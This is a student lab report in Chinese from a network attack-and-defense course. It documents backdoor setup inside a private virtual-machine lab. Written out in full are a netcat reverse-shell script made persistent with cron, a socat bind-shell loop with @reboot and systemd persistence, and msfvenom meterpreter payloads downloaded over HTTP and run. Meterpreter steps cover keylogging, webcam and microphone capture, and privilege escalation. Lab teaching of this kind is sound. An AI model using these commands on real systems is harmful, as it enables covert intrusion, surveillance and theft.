20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1netcat和cron协同进行后门入侵的意义
netcat在目标主机上监听端口等待连接,并创建网络连接,提供远程shell访问,但是这种连接是单次的、临时的,具有诸多局限性,此时cron就有存在的意义了,在cron任务列表中可以设置持续性任务,每分钟甚至每秒都可以重复运行任务,使得后门具有了“持久性”。
2.实验过程
2.1
2.1.1环境准备
在eth0网络接口的信息中,有一行:inet 192.168.19.129/24,这里的192.168.19.129就是Kali系统的IPv4地址。
后门攻击需要两台电脑在同一网段,因此选用和Kali在同一网段的IP地址:192.168.19.1作为实验ip。
2.1.2在windows上准备netcat
2.1.3创建后门脚本
nano /tmp/backdoor.sh
在编辑器输入:
bash
#!/bin/bash
/bin/nc 192.168.19.1 4444 -e /bin/bash
其中,#!/bin/bash
是指定脚本解释器,告诉系统这个脚本使用/bin/bash来执行
/bin/nc 192.168.19.1 4444 -e /bin/bash
是找到连接目标并执行程序。
给脚本执行权限:
chmod +x /tmp/backdoor.sh
2.1.4设置cron定时任务
crontab -e
利用这句命令,编辑当前用户的cron任务表,在文件末尾插入:
* * * * * /tmp/backdoor.sh
这句话的实际含义是,每分钟建立一个shell,其中,设置每分钟的意义是即使后门被杀死,也可以不久再建立一个shell。
crontab -l
可以看到,终端列出了当前用户的cron任务,再任务列表的末尾,是我们插入的* * * * * /tmp/backdoor.sh
2.1.5在windows上设置监听
可以看到,Kali成功连接到Windows的4444端口,而连接来自端口56890。
我们在Windows的powershell中获得了Kali用户的shell权限,可以执行任意Linux命令。
2.2使用socat获取主机操作Shell,并通过任务计划启动。
2.2.1创建后门脚本
在openEuler上创建后门脚本:
sudo nano /usr/local/bin/backdoor.sh
脚本内容:
#!/bin/bash
while true; do
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sane
sleep 5
done
这个脚本可以持久地建立后门,while true; do
开启了一个无限循环,确保后门持续运行
给脚本执行权限:
sudo chmod +x /usr/local/bin/backdoor.sh
2.2.2使用cron设置开机自启动
编辑crontab:sudo crontab -e
添加以下行:
@reboot /usr/local/bin/backdoor.sh
其中,@reboot
是cron的特殊时间关键字,表示"在系统启动时"执行
询问AI,有一个更高级的方法是创建systemd系统服务:
创建service文件:sudo nano /etc/systemd/system/backdoor.service
服务文件内容:
[Unit]
Description=Backdoor Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor.sh
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
启用服务:
sudo systemctl daemon-reload
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service
2.2.3测试后门连接
在Kali虚拟机中连接openEuler的后门:
socat - TCP:192.168.19.131:4444
连接成功,可以使用Linux系统命令,并获取靶机信息。
且由于后门程序设置开机自启动,靶机重启后仍能进行监听。
2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。
2.3.1在Kali上生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -f exe -o backdoor_final.exe
2.3.2启动HTTP文件服务器
开启新终端,运行:
python3 -m http.server 8888
2.3.3设置Metasploit监听器
再开启一个新终端:
msfconsole
在msfconsole中输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 4444
exploit
2.3.4下载并运行后门
在windows powershell中:
Invoke-WebRequest -Uri "http://192.168.19.129:8888/backdoor_final.exe" -OutFile "test.exe"
.\test.exe
2.3.5检查连接
回到Kali的Metasploit窗口,你应该看到Meterpreter会话建立。然后执行:
sessions -i 1
shell
可以看到,已成功获取windows系统shell的运行权限。
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
2.4.1在kali终端生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=6666 -f exe -o exp4.exe
2.4.2启动HTTP服务器
python3 -m http.server 9999
2.4.3设置Metasploit监听
msfconsole
在msfconsole中依次输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit
2.4.4在windows上下载并执行
cd $HOME
Invoke-WebRequest -Uri "http://192.168.19.129:9999/exp4.exe" -OutFile "run.exe"
.\run.exe
2.4.5基础信息收集
当Metasploit显示会话建立后,在msfconsole中执行:
sysinfo
getuid
screenshot
2.4.6键盘记录
keyscan_start
在windows上输入文字
keyscan_dump
keyscan_stop
2.4.7权限提升
getsystem
getuid
摄像头操作
webcam_list
webcam_snap -i 1
音频录制
record_mic -d 10
键盘记录
keyscan_start
keyscan_dump
keyscan_stop
其他系统信息
run post/windows/gather/checkvm
run post/multi/gather/env
kali桌面上已保存相关信息
3.问题及解决方案
- 问题1:在windows系统下安装netcat失败
2.3.3设置Metasploit监听器
msfconsole
- 问题1解决方案:先考虑是防火墙拦截,检查并关闭了防火墙和实时检查,还是无法下载。询问AI,AI回答可以以管理员身份运行powershell,使用命令行
Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile "C:\nc.zip"
直接下载。尝试了一下,成功了,得以顺利完成任务一 - 问题2:在windows系统下安装socat失败
- 问题2解决方案:windows系统装不上socat,很多同学都有这个问题,我无法正面解决这个问题,但是选择迂回了一下,新开了一台虚拟机,用别的系统(openEuler)进行任务二,得以顺利完成。
- 问题3:使用MSF meterpreter进行获取shell时,在windows系统表明“表明文件被其他进程锁定了”
- 问题3解决方案:排查多个方面,例如防火墙、权限不够等,最后在关闭防病毒软件后成功了。